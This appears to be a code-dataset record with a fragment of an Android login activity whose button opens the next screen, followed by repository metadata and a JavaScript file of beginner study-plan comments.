protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_login);
username = findViewById(R.id.username);
pass = findViewById(R.id.pass);
login = findViewById(R.id.login);
login.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Login.this, SwitchNav.class));
}
});
}
}
| a92bfb6999c4d65a652057be73acdabda40a816b | [
"Java"
] | 3 | Java | MomenShahen/Joanaty | 2cb9bea23254ef4523d165163fd480f543073e8f | bf9d7e792fb07805c8b553810af78787da52e029 | |
refs/heads/main | <file_sep>// Module 19-5 :
// 1.core concepts
// 2. variable (let , const) javascript var, let , const
// 3. array,loop(while,for),conditionals,function
// 4. Function
// *leap year
// * odd even
// * factorial (while,for)
// New home work
// 1 Celsius to fahrenheit
// 2 Fahrenheit to celsius
// 3 Grade calculate
// 4 Simple interest
// rivision part end | 4688c609f4ec4d7eb60bc226bd625e9ce93e18a3 | [
"JavaScript"
] | 1 | JavaScript | sksatu1/module_19-5 | 2bb8eaa399c90b7ce2d6505d91a1c80917112851 | 3d0b33e029d1f2e4acc5e9597307ed301e3eb22e |